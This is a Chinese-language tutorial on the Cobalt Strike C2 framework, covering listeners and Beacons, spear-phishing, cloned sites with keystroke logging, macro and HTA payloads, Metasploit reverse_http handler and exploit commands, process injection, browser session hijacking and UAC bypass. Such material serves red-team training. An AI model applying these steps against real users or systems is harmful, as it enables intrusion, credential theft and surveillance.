Cobalt Strike基础教程
一、基础操作
介绍
Cobalt Strike是一款渗透测试神器,常被业界人称为CS神器。早期版本Cobalt Srtike依赖Metasploit框架,而现在Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。
Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。
这个工具的社区版是大家熟知的Armitage(一个MSF的图形化界面工具),而Cobalt Strike大家可以理解其为Armitage的商业版。
如今最新的为 Cobalt Strike 4.x 版本。
客户端与服务端的连接
Cobalt Strike使用C/S架构,Cobalt Strike的客户端连接到团队服务器,团队服务器连接到目标,也就是说Cobalt Strike的客户端不与目标服务器进行交互。
开启团队服务器
Cobalt Strike的客户端想连接到团队服务器需要知道三个信息:
- 团队服务器的外部IP地址
- 团队服务器的连接密码
- (此项可选)决定Malleable C2工具的哪一个用户配置文件被用于团队服务器
知道这些信息后,就可以使用脚本开启团队服务器了,值得注意的是Cobalt Strike团队服务器只能运行在Linux环境下。
开启团队服务器命令一般如下所示:
# ./teamserver your_ip your_passowrd [config_file]
服务端开启后,就可以开启客户端进行连接了
连接到团队服务器
在Linux下,直接运行start.sh脚本文件,输入团队服务器的IP、密码和自己的用户名进行连接
点击Connect连接后,会有个提示信息,如果承认提示信息中的哈希值就是所要连接团队服务器的哈希值就点击Yes,随后即可打开CS客户端界面。
在Windows下的连接方法也基本一致,直接双击start.bat文件,输入IP、密码、用户名,点击Connect,然后确定哈希值即可。
在连接后,团队之间就可以通过客户端进行沟通,信息共享。
连接到多个团队服务器
Cobalt Strike不是用来设计指导在一个团队服务器下进行工作的,而是被设计成在一次行动中使用多个团队服务器。
这样设计的目的主要在于运行安全,如果一个团队服务器停止运行了,也不会导致整个行动的失败,所以接下来看看如何连接到多个团队服务器。
Cobalt Strike连接到多个团队服务器也很简单,直接点击左上角的加号,输入其他团队服务器的信息后,即可连接。
分布式操作
这里介绍最基本的团队服务模型,具体由三个服务器构成,具体如下所示:
- 临时服务器(Staging Servers) 临时服务器介于持久服务器和后渗透服务器之间,它的作用主要是方便在短时间内对目标系统进行访问。 它也是最开始用于传递payload、获取初始权限的服务器,它承担初始的权限提升和下载持久性程序的功能,因此这个服务器有较高暴露风险。
- 持久服务器(Long Haul Servers) 持久服务器的作用是保持对目标网络的长期访问,所以持久服务器会以较低的频率与目标保持通信。
- 后渗透服务器(Post-Exploitation Servers) 主要进行后渗透及横向移动的相关任务,比如对目标进行交互式访问
可伸缩红队操作模型
可伸缩红队操作模型(Scaling Red Operations)分为两个层次,第一层次是针对一个目标网络的目标单元;第二层次是针对多个目标网络的权限管理单元。
目标单元的工作:
- 负责具体目标或行动的对象
- 获得访问权限、后渗透、横向移动
- 维护本地基础设施
访问管理单元的工作:
- 保持所有目标网络的访问权限
- 获取访问权限并接收来自单元的访问
- 根据需要传递对目标单元的访问
- 为持续回调保持全局基础环境
团队角色
- 开始渗透人员 主要任务是进入目标系统,并扩大立足点
- 后渗透人员 主要任务是对目标系统进行数据挖掘、对用户进行监控,收集目标系统的密钥、日志等敏感信息
- 本地通道管理人员 主要任务有建立基础设施、保持shell的持久性、管理回调、传递全局访问管理单元之间的会话
日志与报告
日志记录
Cobalt Strike的日志文件在团队服务器下的运行目录中的logs
文件夹内,其中有些日志文件名例如beacon_11309.log
,这里的11309
就是beacon会话的ID。
按键的日志在keystrokes
文件夹内,截屏的日志在screenshots
文件夹内,截屏的日志名称一般如screen_015321_4826.jpg
类似,其中015321
表示时间(1点53分21秒),4826
表示ID
导出报告
Cobalt Strike生成报告的目的在于培训或帮助蓝队,在Reporting
菜单栏中就可以生成报告,关于生成的报告有以下特点:
- 输出格式为PDF或者Word格式
- 可以输出自定义报告并且更改图标(Cobalt Strike –> Preferences –>Reporting)
- 可以合并多个团队服务器的报告,并可以对不同报告里的时间进行校正
报告类型
- 活动报告(Activity Report)
此报告中提供了红队活动的时间表,记录了每个后渗透活动。 - 主机报告(Hosts Report)
此报告中汇总了Cobalt Strike收集的主机信息,凭据、服务和会话也会在此报告中。 - 侵害指标报告(Indicators of Compromise)
此报告中包括对C2拓展文件的分析、使用的域名及上传文件的MD5哈希。 - 会话报告(Sessions Report)
此报告中记录了指标和活动,包括每个会话回连到自己的通信路径、后渗透活动的时间线等。 - 社工报告(Social Engineering Report)
此报告中记录了每一轮网络钓鱼的电子邮件、谁点击以及从每个点击用户那里收集的信息。该报告还显示了Cobalt Strike的System profiler发现的应用程序。 - 战术、技巧和程序报告(Tactics,Techniques,and Procedures)
此报告将自己的Cobalt Strike行动映射到MITRE的ATT&CK矩阵中的战术,具体可参考https://attack.mitre.org/
二、基础设施
监听器管理
什么是监听器:顾名思义,监听器就是等待被入侵系统连接自己的一个服务。
监听器的作用:主要是为了接受payload回传的各类数据,类似于MSF中handler的作用。比如payload在目标机器执行以后,就会回连到监听器然后下载执行真正的shellcode代码。一旦监听器建立起来,团队成员只需要知道这个监听器的名称即可,不用关心监听器背后的基础环境,接下来将深入了解如何准确配置监听器。
一个监听器由用户定义的名称、payload 类型和几个特定于 payload 的选项组成。
监听器的名字一般由以下结构组成:
// 操作系统/攻击载荷/传输器
Operating System/Payload/Stager
example:
windows/beacon_http/reverse_http
什么是传输器
攻击载荷payload
就是攻击执行的内容。攻击载荷通常被分为两部分:传输器stager
和传输体stage
。
传输器stager
是一个小程序,用于连接、下载传输体stage
,并插入到内存中。
我个人理解为:攻击载荷里真正用于攻击的代码是在传输体里。
所以为什么要有传输体?直接把攻击载荷插入到内存中不更方便快捷、更香么,搞得又是传输器又是传输体的。
需要传输体是因为在很多攻击中对于能加载进内存,并在成功漏洞利用后执行的数据大小存在严格限制。这就导致在攻击成功时,很难嵌入额外的攻击载荷,正是因为这些限制,才使得传输器变得有必要了。
创建监听器
在CS客户端中打开 Cobalt Strike —》Listeners,之后点击Add,此时弹出New Listener窗口,在填写监听器的相关信息之前,需要先来了解监听器有哪些类型。
Cobalt Strike有两种类型的监听器:
- Beacon Beacon直译过来就是灯塔、信标、照亮指引的意思,Beacon是较为隐蔽的后渗透代理,笔者个人理解Beacon类型的监听器应该是平时比较常用的。Beacon监听器的名称例如:
windows/beacon_http/reverse_http
- Foreign Foreign直译就是外部的,这里可以理解成对外监听器,这种类型的监听器主要作用是给其他的Payload提供别名,比如Metasploit 框架里的Payload,笔者个人理解Foreign监听器在一定程度上提高了CS的兼容性。对外监听器的名称例如:
windows/foreign/reverse_https
HTTP 和 HTTPS Beacon
Beacon是什么
- Beacon是CS的Payload
- Beacon有两种通信模式。一种是异步通信模式,这种模式通信效率缓慢,Beacon回连团队服务器、下载任务、然后休眠;另一种是交互式通信模式,这种模式的通信是实时发生的。
- 通过HTTP、HTTPS和DNS出口网络
- 使用SMB协议的时候是点对点通信
- Beacon有很多的后渗透攻击模块和远程管理工具
Beacon的类型
- HTTP 和 HTTPS Beacon HTTP和HTTPS Beacon也可以叫做Web Beacon。默认设置情况下,HTTP 和 HTTPS Beacon 通过 HTTP GET 请求来下载任务。这些 Beacon 通过 HTTP POST 请求传回数据。
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
- DNS Beacon
windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http
- SMB Beacon SMB Beacon也可以叫做pipe beacon
windows/beacon_smb/bind_pipe
创建一个HTTP Beacon
点击 Cobalt Strike –> Listeners 打开监听器管理窗口,点击Add,输入监听器的名称、监听主机地址,因为这里是要创建一个HTTP Beacon,所以其他的默认就行,最后点击Save
此时可以测试一下刚才设置的监听器,点击Attack –> Web Drive-by –> Scripted Web Delivery(s) ,在弹出的窗口中选择刚才新添的Listener,最后点击Launch
复制弹窗的命令,放到靶机中运行
此时,回到CS,就可以看到已经靶机上线了
HTTPS Beacon
HTTPS Beaocn和HTTP Beacon一样,使用了相同的Malleable C2配置文件,使用GET和POST的方式传输数据,不同点在于HTTPS使用了SSL,因此HTTPS Beacon就需要使用一个有效的SSL证书,具体如何配置可以参考:https://www.cobaltstrike.com/help-malleable-c2#validssl
DNS Beacon
DNS Beacon,顾名思义就是使用DNS请求将Beacon返回。这些 DNS 请求用于解析由你的 CS 团队服务器作为权威 DNS 服务器的域名。DNS 响应告诉 Beacon 休眠或是连接到团队服务器来下载任务。DNS 响应也告诉 Beacon 如何从你的团队服务器下载任务。
在CS 4.0及之后的版本中,DNS Beacon是一个仅DNS的Payload,在这个Payload中没有HTTP通信模式,这是与之前不同的地方。
DNS Beacon的工作流程具体如下:
首先,CS服务器向目标发起攻击,将DNS Beacon传输器嵌入到目标主机内存中,然后在目标主机上的DNS Beacon传输器回连下载CS服务器上的DNS Beacon传输体,当DNS Beacon在内存中启动后就开始回连CS服务器,然后执行来自CS服务器的各种任务请求。
原本DNS Beacon可以使用两种方式进行传输,一种是使用HTTP来下载Payload,一种是使用DNS TXT记录来下载Payload,不过现在4.0版本中,已经没有了HTTP方式,CS4.0以及未来版本都只有DNS TXT记录这一种选择了,所以接下来重点学习使用DNS TXT记录的方式。
根据作者的介绍,DNS Beacon拥有更高的隐蔽性,但是速度相对于HTTP Beacon什么的会更慢。
域名配置
既然是配置域名,所以就需要先有个域名,添加一条A记录指向CS服务器的公网IP,再添加几条ns记录指向A记录域名即可。然后服务器配置防火墙将UDP的53端口放通。(这里我没有多余的服务器和域名,借用eastjun师傅的图)
配置完可以使用nslookup进行测试
CS中创建监听器时填写NS记录的域名:
靶机上线后不会像其他Beacon一样在第一次连接时就发送目标相关信息,在没有任务的情况下CS服务器都是简单响应DNS请求而不做任何操作,在执行任何一条命令之后靶机会将目标相关信息提交过来。
SMB Beacon
SMB Beacon 使用命名管道通过一个父 Beacon 进行通信。这种对等通信对同一台主机上的 Beacon 和跨网络的 Beacon 都有效。Windows 将命名管道通信封装在 SMB 协议中。因此得名 SMB Beacon。
因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效(系统防火墙默认是允许445的端口与外界通信的,其他端口可能会弹窗提醒,会导致远程命令行反弹shell失败)。
SMB Beacon监听器对“提升权限”和“横向渗透”中很有用。
SMB Beacon 配置
首先需要一个上线的主机,这里我使用的HTTP Beacon。主机上线后,新建一个SMB Beacon,输入监听器名称,选择Beacon SMB,管道名称可以直接默认,也可以自定义。
接下来在Beacon中直接输入
spawn test_smb_beacon
这里的test_smb_beacon
指代的是创建的SMB Beacon的监听器名称,也可以直接右击session,在Spawn选项中选择刚添加的SMB Beacon。
等待一会儿,就可以看到派生的SMB Beacon,在external中可以看到IP后有个∞∞
字符。
此时SMB Beacon通过父级的HTTP Beacon与CS服务器进行通信,而SMB Beacon与HTTP Beacon通过SMB协议进行通信。
接下来我这里将SMB Beacon插入到进程中,以vmtoolsed进程为例。
在vmtoolsed中插入SMB Beacon后,便能看到process为vmtoolsed.exe的派生SMB Beacon。
在CS中,如果获取到目标的管理员权限,在用户名后会有*
号标注。
连接与断开
此时如果想断开某个会话的连接,可以使用unlink命令,比如如果想断开192.168.175.144,就可以在Beacon中输入unlink 192.168.175.144
如果想再次连上,就直接输入link 192.168.175.144
,想从当前主机连到其他主机也可以使用此命令。
TCP Beacon
TCP Beacon与SMB Beacon类似,区别在于这里使用的是TCP协议与父级Beacon进行通信,使用这种方式上线时流量是不加密的。
在新建TCP Beacon时可以指定监听的端口:
在不出网的目标主机上执行后,目标主机会监听8888端口,然后父Beacon中使用connect命令进行连接:
Foreign Beacon
使用Cobalt Strike外部监听器可以派生meterpreter会话,这里有Foreign HTTP和Foreign HTTPS两种监听器,其中Foreign HTTPS的流量是加密的。
首先msf起一个监听器:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf exploit(handler) > set lhost 192.169.91.128
lhost => msf ip
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > exploit
然后CS里配置一下,填上msf服务器的ip和监听的端口
然后选择会话右键派生会话选择外部监听器
随后msf会接收到会话(最后这里没有复现成功)
三、目标攻击
客户端攻击
什么是客户端攻击
客户端攻击根据教程直译过来就是一种依靠应用程序使用控制端来进行的可视化攻击。
为什么要进行客户端攻击
随着时代发展到了今天,在有各种WAF、防火墙的情况下,各种漏洞已经很难像过去那么好被利用了,攻击者想绕过防火墙发动攻击也不是那么容易的了。
而当我们发送一个钓鱼文件到客户端上,再由客户端打开这个文件,最后客户端穿过防火墙回连到我们,此时在客户端上我们就获得了一个立足点foothold
。这样的一个过程是相对而言是较为容易的,这也是为什么要进行客户端攻击。
如何获得客户端上的立足点
1、尽可能多的了解目标环境,即做好信息收集工作
2、创建一个虚拟机,使它与目标环境尽可能的一致,比如操作系统、使用的浏览器版本等等都需要保证严格一致
3、攻击刚刚创建的虚拟机,这会是最好的攻击目标
4、精心策划攻击方法,达到使目标认为这些攻击行为都是正常行为的效果
5、将精心制作的钓鱼文件发送给目标,比如钓鱼邮件
如果这五步都非常细致精心的去准备,那么攻击成功的概率会大幅提升。
系统侦察
系统侦察System Profiler
是一个方便客户端攻击的侦察工具,这个工具将会在CS服务端上启动一个Web服务,这样当目标访问这个Web服务的时候,我们就能够看到目标使用的浏览器、操作系统等等指纹信息。
设置系统侦察需要首先在自己的VPS服务器上运行CS服务端,之后本地客户端进行连接,选择System Profiler
功能模块,配置待跳转的URL等信息即可。
如果勾选了Use Java Applet to get information
则可以发现目标的Java版本及内网IP地址,但是这样做被发现的风险就会提高,同时现在浏览器已经默认关闭了java执行权限,因此这个选项的作用也变得不大了。
配置完后,当用户打开配置后的链接,我们可以在三个地方进行观察
1、View --> Applications
2、View --> Web Log
3、Cobalt Strike --> Visualization --> Target Table
目标用户打开链接时,我们在CS上就能够看到目标使用的浏览器版本、系统版本等信息了,知道了版本信息,就能够进一步知道目标上可能存在什么漏洞。
值得注意的一点是如果 Cobalt Strike 的 web 服务器收到了lynx、wget 或 curl 的请求,CS会自动返回一个 404 页面,这样做是为了防御蓝队的窥探。
Cobalt Strike 的攻击方式
用户驱动攻击
用户驱动攻击User-Driven Attacks
需要欺骗用户产生交互才行,但也有许多的优点。
首先用户驱动攻击不包含恶意攻击代码,所以用户系统上的安全补丁是没用的;其次无论目标使用什么版本的程序,我们都可以创建相应的功能来执行;最后因为用户驱动攻击十分可靠,也使得它很完美。
当我们采取行动来追踪并需要攻击时,它就像用户本地执行程序一样,CS为我们提供了几个用户驱动攻击的选项,分别如下:
用户驱动攻击包
用户驱动攻击包User-Driven Attacks Packages
功能打开位置:Attacks --> Packages
1、HTML应用
HTML应用HTML Application
生成(executable/VBA/powershell)这3种原理不同的VBScript实现的evil.hta
文件。
2、Microsoft Office 宏文件
Microsoft Office 宏文件Microsoft Office Document Macros
可以生成恶意宏放入office文件,非常经典的攻击手法。
3、Payload 生成器
Payload生成器Payload Generator
可以生成各种语言版本的Payload,便于进行免杀。
4、Windows 可执行文件
Windows 可执行文件Windows Executable
会生成一个Windows可执行文件或DLL文件。默认x86,勾选x64表示包含x64 payload stage生成了artifactX64.exe(17kb) artifactX64.dll(17kb)
5、Windows 可执行文件(Stageless)
Windows 可执行文件(Stageless)Windows Executable (Stageless)
会生成一个无进程的Windows可执行文件或DLL文件。其中的 Stageless 表示把包含payload在内的”全功能”被控端都放入生成的可执行文件beconX64.exe(313kb) beconX64.dll(313kb) becon.ps1(351kb)
用户驱动的Web交付攻击
用户驱动Web交付攻击User-Driven Web Drive-by Attacks
功能打开位置:Attacks --> Web Drive-by
1、java 签名 applet 攻击
java 签名 applet 攻击Java Signed Applet Attack
会启动一个Web服务以提供自签名Java Applet的运行环境,浏览器会要求用户授予applet运行权限,如果用户同意则实现控制,但目前该攻击方法已过时。
2、Java 智能 Applet 攻击
Java 智能 Applet 攻击Java Smart Applet Attack
会自动检测Java版本并利用已知的漏洞绕过安全沙箱,但CS官方称该攻击的实现已过时,在现在的环境中无效。
3、脚本化 Web 交付
脚本化 Web 交付Scripted Web Delivery
为payload提供web服务以便于下载和执行,类似于MSF的Script Web Delivery
4、托管文件
托管文件Host File
通过Attacks --> Web Drive-by --> Host File
进行配置,攻击者可以通过这个功能将文件上传到CS服务端上,从而进行文件托管。
如果想删除上传到CS服务端上的文件,可以到Attacks --> Web Drive-by --> Manage
下进行删除。
如果想查看谁访问了这些文件,可以到View --> Web Log
下进行查看。
开始攻击
HTML 应用攻击
首先来到Attacks --> Packages --> HTML Application
创建一个HTML应用,如果没有创建监听的话,还需要创建一个监听。
TML应用文件生成好后,来到Attacks --> Web Drive-by --> Host File
,选择刚才生成的文件,最后点击Launch,复制CS创建的链接,在目标主机上打开此链接。
当在目标主机上提示是否运行时,点击运行。
当该文件在目标上运行后,CS客户端上就可以看到回连的会话了。
MSF 与 CS 的结合利用
如果想使用MSF对目标进行漏洞利用,再通过这个漏洞来传输Beacon的话,也是可以的。
1、首先在MSF上选择攻击模块
2、接着在MSF上设置Payload为windows/meterpreter/reverse_http
或者windows/meterpreter/reverse_https
,这么做是因为CS的Beacon与MSF的分阶段协议是相兼容的。
3、之后在MSF中设置Payload的LHOST、LPORT为CS中Beacon的监听器IP及端口。
4、然后设置 DisablePayloadHandler
为 True,此选项会让 MSF 避免在其内起一个 handler 来服务你的 payload 连接,也就是告诉MSF说我们已经建立了监听器,不必再新建监听器了。
5、再设置 PrependMigrate
为 True,此选项让 MSF 前置 shellcode 在另一个进程中运行 payload stager。如果被利用的应用程序崩溃或被用户关闭,这会帮助 Beacon 会话存活。
6、最后运行exploit -j
,-j 是指作为job开始运行,即在后台运行。
操作
在CS中新建一个HTTP Beacon,创建过程不再赘述。
1、在MSF中选择攻击模块,根据教程这里选择的adobe_flash_hacking_team_uaf
模块,不过个人感觉现在这个模块已经不太能被利用成功了。
use exploit/multi/browser/adobe_flash_hacking_team_uaf
2、接着配置payload,这里选择revese_http payload
set payload windows/meterpreter/reverse_http
set LHOST cs_server_ip
set LPORT 80
3、之后,配置DisablePayloadHandler
、PrependMigrate
为 True
set DisablePayloadHandler True
set PrependMigrate True
4、最后,开始攻击。
exploit -j
5、结合克隆网站进行攻击。
伪装—克隆网站
在向目标发送漏洞程序之前,我们将自己进行伪装一下,这样可以更好的保护自己,同时提高成功率。CS上有个克隆网站的功能,能够较好的帮助到我们。
首先,来到Attacks --> Web Drive-by --> Clone Site
下,打开克隆网站的功能,之后写入待克隆网站的URL,在Attack中写入MSF中生成的URL。
其中Log keystrokes on cloned site
选项如果勾选则可以获取目标的键盘记录,记录结果在Web Log中能够查看。
之后,浏览器打开克隆站点地址,如果目标存在漏洞,就可以被利用了,同时在CS中也会观察到主机上线。
鱼叉式网络钓鱼
用CS进行钓鱼需要四个步骤:
1、创建一个目标清单
2、制作一个邮件模板或者使用之前制作好的模板
3、选择一个用来发送邮件的邮件服务器
4、发送邮件
目标清单
目标清单就是每行一个邮件地址的txt文件,即每行包含一个目标。
在一行中除了邮件地址也可以使用标签或一个名字。如果提供了名称,则有助于 Cobalt Strike 自定义每个网络钓鱼。
这里使用一些在线邮件接收平台的邮箱地址作为示例。
astrqb79501@chacuo.net test1
gswtdm26180@chacuo.net test2
ypmgin95416@chacuo.net test3
将以上内容保存为txt文本文件,就创建好了自己的目标清单。
模板
使用模板的好处在于可以重复利用,制作钓鱼模板也很简单。可以先在邮箱中找一封广告邮件,查看邮件原始信息,一般在邮件的选项里能找到这个功能,然后导出为.eml
文件作为模板。
发送邮件
有了目标和模板,然后选好自己的邮件服务器,之后就可以发送消息了。
在CS客户端中,点击Attacks --> Spear Phish
即可打开网络钓鱼模块。添加上目标、模板、钓鱼地址、邮箱服务、退回邮箱,其中Bounce To为退回邮件接收地址,注意要和配置邮件服务器时填的邮箱一致,否则会报错。
所有信息添加完成后,可以点击Preview查看。如果感觉效果不错,就可以点击send发送了。
当目标收到钓鱼邮件,并且点击钓鱼邮件中的链接后,如果钓鱼链接配置的没有问题,CS就能够上线了。
四、后渗透
Beacon 的管理
Beacon 控制台
在一个 Beacon 会话上右击 interact
(交互)即可打开 Beacon 控制台,如果想对多个会话进行控制,也只需选中多个会话,执行相关功能即可。
在 Beacon 的控制台中的输入与输出之间,是一个状态栏,状态栏上的信息分别是:目标 NetBIOS 名称、用户名、会话PID以及 Beacon 最近一次连接到 CS 团队服务器的时间。
Beacon 控制台是在使用 CS 的过程中,很经常用到的功能,向 Beacon 发出的每个命令,都可以在这里看到,如果队友发送了消息,在 Beacon 控制台同样能看到,消息前还会显示队友的名称。
Beacon 菜单
Access:包含了一些对凭据的操作及提权的选项
Explore:包含了信息探测与目标交互的选项
Pivoting:包含了一些设置代理隧道的选项
Session:包含了对当前 Beacon 会话管理的选项
Beacon 命令
help
:查看 Beacon 命令的帮助信息。使用 help + 待查看帮助的命令可查看该命令的帮助信息。clear
:清除 Beacon 命令队列。Beacon 是一个异步的 Payload,输入的命令并不会立即执行,而是当 Beacon 连接到团队服务器时再一一执行命令,因此当需要清除队列命令时就可以使用 clear 命令。sleep
:改变 Beacon 的休眠时间。输入sleep 30
表示休眠30秒;输入sleep 60 50
表示,随机睡眠 30秒至60秒,其中30秒 = 60 x 50%;如果输入sleep 0
则表示进入交互模式,任何输入的命令都会被立即执行,当输入一些命令,比如desktop
时, Beacon 会自动进入交互模式。shell
:通过受害主机的 cmd.exe 执行命令。比如运行ipconfig
,就需要输入shell ipconfig
run
:不使用 cmd.exe 执行命令。该命令也是 run + 命令的形式运行,该命令会将执行结果回显。execute
:执行命令,但不回显结果。cd
:切换当前工作目录。pwd
:查看当前所在目录。powershell
:通过受害主机的 PowerShell 执行命令。比如想在 PowerShell 下运行ipconfig
,就需要输入powershell ipconfig
powerpick
:不使用 powershell.exe 执行 powershell 命令。这个命令依赖于由 Lee Christensen 开发的非托管 PowerShell 技术。powershell 和 powerpick 命令会使用当前令牌( token )。psinject
:将非托管的 PowerShell 注入到一个特定的进程中并从此位置运行命令。powershell-import
:导入 PowerShell 脚本到 Beacon 中。直接运行 powershell-import + 脚本文件路径即可,但是这个脚本导入命令一次仅能保留一个 PowerShell 脚本,再导入一个新脚本的时候,上一个脚本就被覆盖了,因此可以通过导入一个空文件来清空 Beacon 中导入的脚本。powershell get-help
:获取 PowerShell 命令的相关帮助信息。比如想获取 PowerShell 下 get-process 命令的帮助,就需要输入powershell get-help get-process
execute-assembly
:将一个本地的 .NET 可执行文件作为 Beacon 的后渗透任务来运行。setenv
:设置一个环境变量。
会话传递
会话传递相关命令
Beacon 被设计的最初目的就是向其他的 CS 监听器传递会话。
spawn
:进行会话的传递,也可直接右击会话选择spawn
命令进行会话的选择。默认情况下,spawn
命令会在 rundll32.exe 中派生一个会话。为了更好的隐蔽性,可以找到更合适的程序(如 Internet Explorer) 并使用spawnto
命令来说明在派生新会话时候会使用 Beacon 中的哪个程序。spawnto
:该命令会要求指明架构(x86 还是 x64)和用于派生会话的程序的完整路径。单独输入spawnto
命令然后按 enter 会指示 Beacon 恢复至其默认行为。inject
:输入inject + 进程 id + 监听器名
来把一个会话注入一个特定的进程中。使用 ps 命令来获取一个当前系统上的进程列表。使用inject [pid] x64
来将一个64位 Beacon 注入到一个 64位进程中。spawn
和inject
命令都将一个 payload stage 注入进内存中。如果 payload stage 是 HTTP、HTTPS 或 DNS Beacon 并且它无法连接到你,那么将看不到一个会话。如果 payload stage 是一个绑定的 TCP 或 SMB 的 Beacon,这些命令会自动地尝试连接到并控制这些 payload。dllinject
:dllinject + [pid]
来将一个反射性 DLL 注入到一个进程中。shinject
:使用shinject [pid] [架构] [/路径/.../file.bin]
命令来从一个本地文件中注入 shellcode 到一个目标上的进程中。shspawn
:使用shspawn [架构] [/路径/.../file.bin]
命令会先派生一个新进程(这个新进程是 spawn to 命令指定的可执行文件),然后把指定的 shellcode 文件( file.bin )注入到这个进程中。dllload
:使用dllload [pid] [c:\路径\...\file.dll]
来在另一个进程中加载磁盘上的 DLL文件。
会话传递使用场景
1、将当前会话传递至其他CS团队服务器中,直接右击spawn
选择要传递的监听器即可。
2、将当前会话传递至MSF中,这里简单做一下演示。
首先,在MSF中,为攻击载荷新建一个payload
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lhost 192.168.175.156
msf5 exploit(multi/handler) > set lport 443
msf5 exploit(multi/handler) > exploit -j
随后,在CS中新建一个外部Foreign
监听器,这里设置的监听IP与端口和MSF中的一致即可,随后在CS中利用spawn
选择刚新建的外部监听器,MSF中即可返回会话。
文件系统
浏览会话系统文件位置在右击会话处,选择 Explore --> File Browser
即可打开。在这里可以对当前会话下的文件进行浏览、上传、下载、删除等操作。
在进行文件浏览时,如果 beacon 设置的 sleep 值较高,CS会因此而变得响应比较慢。
彩色文件夹表示该文件夹的内容位于此文件浏览器的缓存中;深灰色的文件夹表示该文件夹的内容不在此文件浏览器缓存中。
文件下载
download
:下载请求的文件。Beacon 会下载它的任务要求获取的每一个文件的固定大小的块。这个块的大小取决于 Beacon 当前的数据通道。HTTP 和 HTTPS 通道会拉取 512kb 的数据块。downloads
:查看当前 Beacon 正在进行的文件下载列表。cancel
:该命令加上一个文件名来取消正在进行的一个下载任务。也可以在 cancel 命令中使用通配符来一次取消多个文件下载任务。
下载文件都将下载到CS团队服务器中,在View --> Download
下可看到下载文件的记录,选中文件后使用Sync Files
即可将文件下载到本地。
文件上传
upload
:上传一个文件到目标主机上。timestomp
:将一个文件的修改属性访问属性和创建时间数据与另一个文件相匹配。当上传一个文件时,有时会想改变此文件的时间戳来使其混入同一文件夹下的其他文件中,使用timestomp 命令就可以完成此工作。
用户驱动溢出攻击
Beacon 运行任务的方式是以jobs
去运行的,比如键盘记录、PowerShell 脚本、端口扫描等,这些任务都是在 beacon check in 之间于后台运行的。
jobs
:查看当前 Beacon 中的任务jobkill
:加上任务 ID,对指定任务进行停止
屏幕截图
screenshot
:获取屏幕截图,使用screenshot pid
来将截屏工具注入到一个 x86 的进程中,使用screenshot pid x64
注入到一个 x64 进程中,explorer.exe 是一个好的候选程序。 使用screenshot [pid] [x86|x64] [time]
来请求截屏工具运行指定的秒数,并在每一次 Beacon 连接到团队服务器的时候报告一张屏幕截图,这是查看用户桌面的一种简便方法。要查看截屏的具体信息,通过View --> Screenshots
来浏览从所有 Beacon 会话中获取的截屏。
键盘记录
keylogger
:键盘记录器,使用keylogger pid
来注入一个 x86 程序。使用keylogger pid x64
来注入一个 x64 程序,explorer.exe 是一个好的候选程序。 使用单独的 keylogger 命令来将键盘记录器注入一个临时程序。键盘记录器会监视从被注入的程序中的键盘记录并将结果报告给 Beacon,直到程序终止或者自己杀死了这个键盘记录后渗透任务。要查看键盘记录的结果,可以到View --> Keystrokes
中进行查看。
其他
除了上述使用命令的方式进行屏幕截图和键盘记录,也可以来到Explore --> Process List
下选择要注入的进程,再直接点击屏幕截图或键盘记录的功能按钮。
从使用上,具体注入那个程序都是可以的,只是注入 explorer.exe 会比较稳定与持久。值得注意的是,多个键盘记录器可能相互冲突,每个桌面会话只应使用一个键盘记录器。
浏览器转发
浏览器转发是指在已经攻击成功的目标中,利用目标的信息登录网站进行会话劫持,但是目前只支持目标正在使用IE浏览器的前提下。关于如何判断当前用户是否使用IE浏览器,则可以通过屏幕截图来判断。
找到目前正在使用IE浏览器的目标后,右击该会话,选择Explore --> Browser Pivot
,随后选择要注入的进程,CS 会在它认为可以注入的进程右边显示一个对勾,设置好端口后,点击运行即可。
此时,在浏览器中配置代理,代理配置为http代理,IP为CS团队服务器IP,端口为刚设置的端口。
代理配置好后,在浏览器中打开目标当前正在打开的网址,即可绕过登录界面。
端口扫描
portscan
:进行端口扫描,使用参数为:portscan [targets] [ports] [discovery method]
。 目标发现discovery method
有三种方法,分别是:arp、icmp、none
,arp
方法使用 ARP 请求来发现一个主机是否存活。icmp
方法发送一个 ICMP echo 请求来检查一个目标是否存活。none
选项让端口扫描工具假设所有的主机都是存活的。
端口扫描会在 Beacon 和团队服务器通讯的这个过程中不停运行。当它有可以报告的结果,它会把结果发送到 Beacon 控制台。Cobalt Strike 会处理这个信息并使用发现的主机更新目标模型。
右击 Beacon会话,在Explore --> Port Scan
中即可打开端口扫描的图形窗口,CS会自动填充扫描地址,确认扫描地址、端口、扫描方式等无误后,开始扫描即可。扫描结束后,在 target table页面中可看到扫描结果,右击会话,选择 Services 可查看详细的扫描结果。
五、提权
用户账户控制
自 Windows vista 开始,Windows 系统引进了用户账户控制机制,即 UACUser Account Control
机制,UAC 机制在 Win 7中得到了完善。UAC 与 UNIX 中的 sudo 工作机制十分相似,平时用户以普通权限工作,当用户需要执行特权操作时,系统会询问他们是否要提升权限。
此时系统用户可分为以下三种等级:
高:管理员权限
中:一般用户权限
低:受限制的权限
使用whoami /groups
命令可以看到当前用户所在的组以及权限,使用net localgroup administrators
可以查看当前在管理员组里的用户名。
Spawn As
首先,右击待提权的会话,选择Access --> Spawn As
,输入目标系统用户身份信息,其中域信息填写一个“点”代表本地用户,监听器这里选择的 SMB 监听器,之后点击运行就能看到对应的用户上线了。
Bypass UAC
Bypass UAC 有两个步骤,分别是:
1、利用 UAC 漏洞来获取一个特权文件副本
2、使用 DLL 劫持进行代码执行
首先使用shell whoami /groups
查看当前上线主机用户的所属组及 UAC 等级
待 Beacon Check in 后,当前用户 UAC 为高权限的会话便会上线了。
PowerUp
owerUp 所做的事是寻找可能存在弱点的地方,从而帮助提权。
利用 PowerUp 进行提权需要首先导入 ps1 文件powershell-import PowerUp.ps1
,再执行powershell Invoke-AllChecks
命令,使用 PowerUp 脚本可以快速的帮助我们发现系统弱点,从而实现提权的目的。
PowerUp 所做的事是寻找可能存在弱点的地方,从而帮助提权。
